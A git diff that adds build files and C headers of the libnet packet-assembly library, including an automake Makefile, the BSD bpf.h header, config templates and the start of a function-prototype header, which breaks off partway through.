+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+ @set fnord $$MAKEFLAGS; amf=$$2; \
+ dot_seen=no; \
+ case "$@" in \
+ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+ *) list='$(SUBDIRS)' ;; \
+ esac; \
+ rev=''; for subdir in $$list; do \
+ if test "$$subdir" = "."; then :; else \
+ rev="$$subdir $$rev"; \
+ fi; \
+ done; \
+ rev="$$rev ."; \
+ target=`echo $@ | sed s/-recursive//`; \
+ for subdir in $$rev; do \
+ echo "Making $$target in $$subdir"; \
+ if test "$$subdir" = "."; then \
+ local_target="$$target-am"; \
+ else \
+ local_target="$$target"; \
+ fi; \
+ (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+ || case "$$amf" in *=*) exit 1;; *k*) fail=yes;; *) exit 1;; esac; \
+ done && test -z "$$fail"
+tags-recursive:
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+ done
+
+ETAGS = etags
+ETAGSFLAGS =
+
+tags: TAGS
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ mkid -fID $$unique
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \
+ $(TAGS_FILES) $(LISP)
+ tags=; \
+ here=`pwd`; \
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ if test "$$subdir" = .; then :; else \
+ test -f $$subdir/TAGS && tags="$$tags -i $$here/$$subdir/TAGS"; \
+ fi; \
+ done; \
+ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \
+ unique=`for i in $$list; do \
+ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+ done | \
+ $(AWK) ' { files[$$0] = 1; } \
+ END { for (i in files) print i; }'`; \
+ test -z "$(ETAGS_ARGS)$$tags$$unique" \
+ || $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+ $$tags $$unique
+
+GTAGS:
+ here=`$(am__cd) $(top_builddir) && pwd` \
+ && cd $(top_srcdir) \
+ && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+ -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+
+top_distdir = ..
+distdir = $(top_distdir)/$(PACKAGE)-$(VERSION)
+
+distdir: $(DISTFILES)
+ @list='$(DISTFILES)'; for file in $$list; do \
+ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+ dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+ if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+ dir="/$$dir"; \
+ $(mkinstalldirs) "$(distdir)$$dir"; \
+ else \
+ dir=''; \
+ fi; \
+ if test -d $$d/$$file; then \
+ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+ cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+ fi; \
+ cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+ else \
+ test -f $(distdir)/$$file \
+ || cp -p $$d/$$file $(distdir)/$$file \
+ || exit 1; \
+ fi; \
+ done
+ list='$(SUBDIRS)'; for subdir in $$list; do \
+ if test "$$subdir" = .; then :; else \
+ test -d $(distdir)/$$subdir \
+ || mkdir $(distdir)/$$subdir \
+ || exit 1; \
+ (cd $$subdir && \
+ $(MAKE) $(AM_MAKEFLAGS) \
+ top_distdir="$(top_distdir)" \
+ distdir=../$(distdir)/$$subdir \
+ distdir) \
+ || exit 1; \
+ fi; \
+ done
+check-am: all-am
+check: check-recursive
+all-am: Makefile $(HEADERS) config.h
+installdirs: installdirs-recursive
+installdirs-am:
+ $(mkinstalldirs) $(DESTDIR)$(includedir)
+
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+ @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+ INSTALL_STRIP_FLAG=-s \
+ `test -z '$(STRIP)' || \
+ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+ -rm -f Makefile $(CONFIG_CLEAN_FILES)
+ -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES)
+
+maintainer-clean-generic:
+ @echo "This command is intended for maintainers to use"
+ @echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic mostlyclean-am
+
+distclean: distclean-recursive
+
+distclean-am: clean-am distclean-generic distclean-hdr distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+info: info-recursive
+
+info-am:
+
+install-data-am: install-includeHEADERS
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-generic
+
+uninstall-am: uninstall-includeHEADERS uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) GTAGS all all-am check check-am clean \
+ clean-generic clean-recursive distclean distclean-generic \
+ distclean-hdr distclean-recursive distclean-tags distdir dvi \
+ dvi-am dvi-recursive info info-am info-recursive install \
+ install-am install-data install-data-am install-data-recursive \
+ install-exec install-exec-am install-exec-recursive \
+ install-includeHEADERS install-info install-info-am \
+ install-info-recursive install-man install-recursive \
+ install-strip installcheck installcheck-am installdirs \
+ installdirs-am installdirs-recursive maintainer-clean \
+ maintainer-clean-generic maintainer-clean-recursive mostlyclean \
+ mostlyclean-generic mostlyclean-recursive tags tags-recursive \
+ uninstall uninstall-am uninstall-includeHEADERS \
+ uninstall-info-am uninstall-info-recursive uninstall-recursive
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:
diff --git a/libnet/include/bpf.h b/libnet/include/bpf.h
new file mode 100644
index 0000000..8648a9a
--- /dev/null
+++ b/libnet/include/bpf.h
@@ -0,0 +1,264 @@
+/*-
+ * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997
+ * The Regents of the University of California. All rights reserved.
+ *
+ * This code is derived from the Stanford/CMU enet packet filter,
+ * (net/enet.c) distributed as part of 4.3BSD, and code contributed
+ * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence
+ * Berkeley Laboratory.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * @(#)bpf.h 7.1 (Berkeley) 5/7/91
+ *
+ * @(#) $Header: /usr/local/CVS/libnet/include/bpf.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL)
+ */
+
+#ifndef BPF_MAJOR_VERSION
+
+/* BSD style release date */
+#define BPF_RELEASE 199606
+
+typedef int bpf_int32;
+typedef u_int bpf_u_int32;
+
+/*
+ * Alignment macros. BPF_WORDALIGN rounds up to the next
+ * even multiple of BPF_ALIGNMENT.
+ */
+#define BPF_ALIGNMENT sizeof(bpf_int32)
+#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1))
+
+#define BPF_MAXINSNS 512
+#define BPF_MAXBUFSIZE 0x8000
+#define BPF_MINBUFSIZE 32
+
+/*
+ * Structure for BIOCSETF.
+ */
+struct bpf_program {
+ u_int bf_len;
+ struct bpf_insn *bf_insns;
+};
+
+/*
+ * Struct returned by BIOCGSTATS.
+ */
+struct bpf_stat {
+ u_int bs_recv; /* number of packets received */
+ u_int bs_drop; /* number of packets dropped */
+};
+
+/*
+ * Struct return by BIOCVERSION. This represents the version number of
+ * the filter language described by the instruction encodings below.
+ * bpf understands a program iff kernel_major == filter_major &&
+ * kernel_minor >= filter_minor, that is, if the value returned by the
+ * running kernel has the same major number and a minor number equal
+ * equal to or less than the filter being downloaded. Otherwise, the
+ * results are undefined, meaning an error may be returned or packets
+ * may be accepted haphazardly.
+ * It has nothing to do with the source code version.
+ */
+struct bpf_version {
+ u_short bv_major;
+ u_short bv_minor;
+};
+/* Current version number of filter architecture. */
+#define BPF_MAJOR_VERSION 1
+#define BPF_MINOR_VERSION 1
+
+/*
+ * BPF ioctls
+ *
+ * The first set is for compatibility with Sun's pcc style
+ * header files. If your using gcc, we assume that you
+ * have run fixincludes so the latter set should work.
+ */
+#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__)
+#define BIOCGBLEN _IOR(B,102, u_int)
+#define BIOCSBLEN _IOWR(B,102, u_int)
+#define BIOCSETF _IOW(B,103, struct bpf_program)
+#define BIOCFLUSH _IO(B,104)
+#define BIOCPROMISC _IO(B,105)
+#define BIOCGDLT _IOR(B,106, u_int)
+#define BIOCGETIF _IOR(B,107, struct ifreq)
+#define BIOCSETIF _IOW(B,108, struct ifreq)
+#define BIOCSRTIMEOUT _IOW(B,109, struct timeval)
+#define BIOCGRTIMEOUT _IOR(B,110, struct timeval)
+#define BIOCGSTATS _IOR(B,111, struct bpf_stat)
+#define BIOCIMMEDIATE _IOW(B,112, u_int)
+#define BIOCVERSION _IOR(B,113, struct bpf_version)
+#define BIOCSTCPF _IOW(B,114, struct bpf_program)
+#define BIOCSUDPF _IOW(B,115, struct bpf_program)
+#else
+#define BIOCGBLEN _IOR('B',102, u_int)
+#define BIOCSBLEN _IOWR('B',102, u_int)
+#define BIOCSETF _IOW('B',103, struct bpf_program)
+#define BIOCFLUSH _IO('B',104)
+#define BIOCPROMISC _IO('B',105)
+#define BIOCGDLT _IOR('B',106, u_int)
+#define BIOCGETIF _IOR('B',107, struct ifreq)
+#define BIOCSETIF _IOW('B',108, struct ifreq)
+#define BIOCSRTIMEOUT _IOW('B',109, struct timeval)
+#define BIOCGRTIMEOUT _IOR('B',110, struct timeval)
+#define BIOCGSTATS _IOR('B',111, struct bpf_stat)
+#define BIOCIMMEDIATE _IOW('B',112, u_int)
+#define BIOCVERSION _IOR('B',113, struct bpf_version)
+#define BIOCSTCPF _IOW('B',114, struct bpf_program)
+#define BIOCSUDPF _IOW('B',115, struct bpf_program)
+#endif
+
+/*
+ * Structure prepended to each packet.
+ */
+struct bpf_hdr {
+ struct timeval bh_tstamp; /* time stamp */
+ bpf_u_int32 bh_caplen; /* length of captured portion */
+ bpf_u_int32 bh_datalen; /* original length of packet */
+ u_short bh_hdrlen; /* length of bpf header (this struct
+ plus alignment padding) */
+};
+/*
+ * Because the structure above is not a multiple of 4 bytes, some compilers
+ * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.
+ * Only the kernel needs to know about it; applications use bh_hdrlen.
+ */
+#ifdef KERNEL
+#define SIZEOF_BPF_HDR 18
+#endif
+
+/*
+ * Data-link level type codes.
+ */
+#define DLT_NULL 0 /* no link-layer encapsulation */
+#define DLT_EN10MB 1 /* Ethernet (10Mb) */
+#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */
+#define DLT_AX25 3 /* Amateur Radio AX.25 */
+#define DLT_PRONET 4 /* Proteon ProNET Token Ring */
+#define DLT_CHAOS 5 /* Chaos */
+#define DLT_IEEE802 6 /* IEEE 802 Networks */
+#define DLT_ARCNET 7 /* ARCNET */
+#define DLT_SLIP 8 /* Serial Line IP */
+#define DLT_PPP 9 /* Point-to-point Protocol */
+#define DLT_FDDI 10 /* FDDI */
+#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */
+#define DLT_RAW 12 /* raw IP */
+#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */
+#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */
+
+/*
+ * The instruction encondings.
+ */
+/* instruction classes */
+#define BPF_CLASS(code) ((code) & 0x07)
+#define BPF_LD 0x00
+#define BPF_LDX 0x01
+#define BPF_ST 0x02
+#define BPF_STX 0x03
+#define BPF_ALU 0x04
+#define BPF_JMP 0x05
+#define BPF_RET 0x06
+#define BPF_MISC 0x07
+
+/* ld/ldx fields */
+#define BPF_SIZE(code) ((code) & 0x18)
+#define BPF_W 0x00
+#define BPF_H 0x08
+#define BPF_B 0x10
+#define BPF_MODE(code) ((code) & 0xe0)
+#define BPF_IMM 0x00
+#define BPF_ABS 0x20
+#define BPF_IND 0x40
+#define BPF_MEM 0x60
+#define BPF_LEN 0x80
+#define BPF_MSH 0xa0
+
+/* alu/jmp fields */
+#define BPF_OP(code) ((code) & 0xf0)
+#define BPF_ADD 0x00
+#define BPF_SUB 0x10
+#define BPF_MUL 0x20
+#define BPF_DIV 0x30
+#define BPF_OR 0x40
+#define BPF_AND 0x50
+#define BPF_LSH 0x60
+#define BPF_RSH 0x70
+#define BPF_NEG 0x80
+#define BPF_JA 0x00
+#define BPF_JEQ 0x10
+#define BPF_JGT 0x20
+#define BPF_JGE 0x30
+#define BPF_JSET 0x40
+#define BPF_SRC(code) ((code) & 0x08)
+#define BPF_K 0x00
+#define BPF_X 0x08
+
+/* ret - BPF_K and BPF_X also apply */
+#define BPF_RVAL(code) ((code) & 0x18)
+#define BPF_A 0x10
+
+/* misc */
+#define BPF_MISCOP(code) ((code) & 0xf8)
+#define BPF_TAX 0x00
+#define BPF_TXA 0x80
+
+/*
+ * The instruction data structure.
+ */
+struct bpf_insn {
+ u_short code;
+ u_char jt;
+ u_char jf;
+ bpf_int32 k;
+};
+
+/*
+ * Macros for insn array initializers.
+ */
+#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
+#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }
+
+#ifdef KERNEL
+extern u_int bpf_filter();
+extern void bpfattach();
+extern void bpf_tap();
+extern void bpf_mtap();
+#else
+#if __STDC__
+extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
+#endif
+#endif
+
+/*
+ * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).
+ */
+#define BPF_MEMWORDS 16
+
+#endif
diff --git a/libnet/include/config.h.in b/libnet/include/config.h.in
new file mode 100644
index 0000000..1a085dd
--- /dev/null
+++ b/libnet/include/config.h.in
@@ -0,0 +1,118 @@
+/* include/config.h.in. Generated from configure.in by autoheader. */
+/*
+dnl $Id: config.h.in,v 1.11 2004/01/16 10:13:40 mike Exp $
+dnl
+dnl Libnet autoconfiguration acconfig.h file
+dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+dnl Process this file with autoheader to produce a config.h file.
+dnl
+*/
+
+#undef LIBNET_BSDISH_OS
+#undef LIBNET_BSD_BYTE_SWAP
+#undef DLPI_DEV_PREFIX
+#undef HAVE_DEV_DLPI
+#undef HAVE_SOLARIS
+#undef HAVE_SOLARIS_IPV6
+#undef HAVE_HPUX11
+#undef HAVE_SOCKADDR_SA_LEN
+#undef HAVE_DLPI
+#undef HAVE_PACKET_SOCKET
+#undef HAVE_STRUCT_IP_CSUM
+#undef HAVE_LIB_PCAP
+#undef LBL_ALIGN
+#undef STUPID_SOLARIS_CHECKSUM_BUG
+#undef _BSD_SOURCE
+#undef __BSD_SOURCE
+#undef __FAVOR_BSD
+#undef LIBNET_BIG_ENDIAN
+#undef LIBNET_LIL_ENDIAN
+#undef NO_SNPRINTF
+
+
+/*
+dnl EOF
+*/
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#undef HAVE_INTTYPES_H
+
+/* Define to 1 if you have the `nsl' library (-lnsl). */
+#undef HAVE_LIBNSL
+
+/* Define to 1 if you have the `packet' library (-lpacket). */
+#undef HAVE_LIBPACKET
+
+/* Define to 1 if you have the `socket' library (-lsocket). */
+#undef HAVE_LIBSOCKET
+
+/* Define to 1 if you have the `wpcap' library (-lwpcap). */
+#undef HAVE_LIBWPCAP
+
+/* Define if you have the Linux /proc filesystem. */
+#undef HAVE_LINUX_PROCFS
+
+/* Define to 1 if you have the <memory.h> header file. */
+#undef HAVE_MEMORY_H
+
+/* Define to 1 if you have the <net/ethernet.h> header file. */
+#undef HAVE_NET_ETHERNET_H
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#undef HAVE_STDINT_H
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#undef HAVE_STDLIB_H
+
+/* Define to 1 if you have the `strerror' function. */
+#undef HAVE_STRERROR
+
+/* Define to 1 if you have the <strings.h> header file. */
+#undef HAVE_STRINGS_H
+
+/* Define to 1 if you have the <string.h> header file. */
+#undef HAVE_STRING_H
+
+/* Define to 1 if you have the <sys/bufmod.h> header file. */
+#undef HAVE_SYS_BUFMOD_H
+
+/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */
+#undef HAVE_SYS_DLPI_EXT_H
+
+/* Define to 1 if you have the <sys/sockio.h> header file. */
+#undef HAVE_SYS_SOCKIO_H
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#undef HAVE_SYS_STAT_H
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#undef HAVE_SYS_TYPES_H
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#undef HAVE_UNISTD_H
+
+/* Name of package */
+#undef PACKAGE
+
+/* Define to the address where bug reports for this package should be sent. */
+#undef PACKAGE_BUGREPORT
+
+/* Define to the full name of this package. */
+#undef PACKAGE_NAME
+
+/* Define to the full name and version of this package. */
+#undef PACKAGE_STRING
+
+/* Define to the one symbol short name of this package. */
+#undef PACKAGE_TARNAME
+
+/* Define to the version of this package. */
+#undef PACKAGE_VERSION
+
+/* Define to 1 if you have the ANSI C header files. */
+#undef STDC_HEADERS
+
+/* Version number of package */
+#undef VERSION
diff --git a/libnet/include/gnuc.h b/libnet/include/gnuc.h
new file mode 100644
index 0000000..c051c74
--- /dev/null
+++ b/libnet/include/gnuc.h
@@ -0,0 +1,43 @@
+/* @(#) $Header: /usr/local/CVS/libnet/include/gnuc.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL) */
+
+/* Define __P() macro, if necessary */
+#ifndef __P
+#if __STDC__
+#define __P(protos) protos
+#else
+#define __P(protos) ()
+#endif
+#endif
+
+/* inline foo */
+#ifdef __GNUC__
+#define inline __inline
+#else
+#define inline
+#endif
+
+/*
+ * Handle new and old "dead" routine prototypes
+ *
+ * For example:
+ *
+ * __dead void foo(void) __attribute__((volatile));
+ *
+ */
+#ifdef __GNUC__
+#ifndef __dead
+#define __dead volatile
+#endif
+#if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5)
+#ifndef __attribute__
+#define __attribute__(args)
+#endif
+#endif
+#else
+#ifndef __dead
+#define __dead
+#endif
+#ifndef __attribute__
+#define __attribute__(args)
+#endif
+#endif
diff --git a/libnet/include/ifaddrlist.h b/libnet/include/ifaddrlist.h
new file mode 100644
index 0000000..4c0dca6
--- /dev/null
+++ b/libnet/include/ifaddrlist.h
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 1997
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ */
+
+struct ifaddrlist
+{
+#if (HAVE_SOLARIS || HAVE_HPUX11)
+ u_int addr;
+#else
+ u_int32_t addr;
+#endif
+ int8_t *device;
+};
+
+struct libnet_ifaddr_list
+{
+ u_int32_t addr;
+ int8_t *device;
+};
+
+int
+ifaddrlist(
+ struct ifaddrlist **,
+ int8_t *
+ );
+
+
+int
+set_up_interface(
+ struct sockaddr_in **,
+ u_int8_t **
+ );
+
+/* EOF */
diff --git a/libnet/include/libnet.h.in b/libnet/include/libnet.h.in
new file mode 100644
index 0000000..89fd64b
--- /dev/null
+++ b/libnet/include/libnet.h.in
@@ -0,0 +1,132 @@
+/*
+ * $Id: libnet.h.in,v 1.5 2004/01/17 07:51:19 mike Exp $
+ *
+ * libnet.h - Network routine library header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_H
+#define __LIBNET_H
+/**
+ * @file libnet.h
+ * @brief toplevel libnet header file
+ */
+
+/**
+ * @mainpage Libnet Packet Assembly Library
+ *
+ * @section intro Overview
+ *
+ * Libnet is a high-level API (toolkit) allowing the application programmer to
+ * construct and inject network packets. It provides a portable and simplified
+ * interface for low-level network packet shaping, handling and injection.
+ * Libnet hides much of the tedium of packet creation from the application
+ * programmer such as multiplexing, buffer management, arcane packet header
+ * information, byte-ordering, OS-dependent issues, and much more. Libnet
+ * features portable packet creation interfaces at the IP layer and link layer,
+ * as well as a host of supplementary and complementary functionality. Using
+ * libnet, quick and simple packet assembly applications can be whipped up with
+ * little effort. With a bit more time, more complex programs can be written
+ * (Traceroute and ping were easily rewritten using libnet and
+ * <a href="www.tcpdump.org">libpcap</a>).
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdlib.h>
+#if !defined(__WIN32__)
+#include <sys/ioctl.h>
+#endif /* __WIN32__ */
+#if defined(HAVE_SYS_SOCKIO_H) && !defined(SIOCGIFADDR)
+#include <sys/sockio.h>
+#endif
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ctype.h>
+#if !defined(__WIN32__)
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/in_systm.h>
+#include <netinet/ip.h>
+#include <net/if.h>
+#else /* __WIN32__ */
+#if (__CYGWIN__)
+#include <sys/socket.h>
+#endif
+#include <ws2tcpip.h>
+#include <windows.h>
+#include <winsock2.h>
+#include <win32/in_systm.h>
+#endif /* __WIN32__ */
+#if !(__linux__) && !(__WIN32__) && !(__APPLE__) && !(__CYGWIN__)
+#include <netinet/ip_var.h>
+#else /* __linux__ */
+#if (HAVE_NET_ETHERNET_H)
+#include <net/ethernet.h>
+#endif /* HAVE_NET_ETHERNET_H */
+#endif /* __linux__ */
+#if !defined(__WIN32__)
+#include <netinet/tcp.h>
+#include <netinet/udp.h>
+#if (__linux__) && !(__GLIBC__)
+/* we get multiple definitions of IGMP_AGE_THRESHOLD if we include netinet */
+#include <linux/igmp.h>
+#else
+#include <netinet/igmp.h>
+#endif
+#include <arpa/inet.h>
+#include <sys/time.h>
+#include <netdb.h>
+#endif /* __WIN32__ */
+#include <errno.h>
+#include <stdarg.h>
+
+#define LIBNET_VERSION "@LIBNET_VERSION@"
+#define @ENDIANESS@ 1
+
+#include "./libnet/libnet-types.h"
+#include "./libnet/libnet-macros.h"
+#include "./libnet/libnet-headers.h"
+#include "./libnet/libnet-structures.h"
+#include "./libnet/libnet-asn1.h"
+#include "./libnet/libnet-functions.h"
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __LIBNET_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/.#libnet-functions.h.1.28 b/libnet/include/libnet/.#libnet-functions.h.1.28
new file mode 100644
index 0000000..303f591
--- /dev/null
+++ b/libnet/include/libnet/.#libnet-functions.h.1.28
@@ -0,0 +1,1582 @@
+/*
+ * $Id: libnet-functions.h,v 1.28 2004/01/15 20:11:15 mike Exp $
+ *
+ * libnet-functions.h - function prototypes
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_FUNCTIONS_H
+#define __LIBNET_FUNCTIONS_H
+/**
+ * @file libnet-functions.h
+ * @brief libnet exported function prototypes
+ */
+
+/**
+ * Creates the libnet environment. It initializes the library and returns a
+ * libnet context. If the injection_type is LIBNET_LINK, the function
+ * initializes the injection primitives for the link-layer interface enabling
+ * the application programmer to build packets starting at the data-link layer
+ * (which also provides more granular control over the IP layer). If libnet
+ * uses the link-layer and the device argument is non-NULL, the function
+ * attempts to use the specified network device for packet injection. This
